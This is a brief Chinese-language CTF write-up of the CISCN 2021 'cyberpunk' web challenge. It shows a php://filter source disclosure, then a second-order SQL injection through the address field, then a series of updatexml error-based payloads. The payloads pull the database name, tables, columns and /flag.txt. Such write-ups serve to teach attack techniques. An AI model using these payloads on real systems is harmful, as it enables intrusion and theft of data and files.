ciscn2021 cyberpunck

2077 让我血亏的游戏 ┗|`O′|┛
扫后台啥也没有 抓包也没发现什么
右键源码发现

1
php伪协议可以使用?file=php://filter/convert.base64-encode/resource=delete.php

change confirm delete index search这些全可以下载下来

所有地方都过滤挺好就是change
$address = addslashes($_POST[“address”]); 进行了一些转义
这边将地址给带入sql了
传入user_name 和phone的参数都没有问题 传入有问题的address参数会存入数据库中 当下一次正常查询数据就会触发造成sql注入

157.PNG

使用报错注入就能查到想要的数据

进行报错注入 报错注入一次只能回显30位

1
2
3
4
5
6
//数据库 1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)# 
//表名 1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段 1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

158.PNG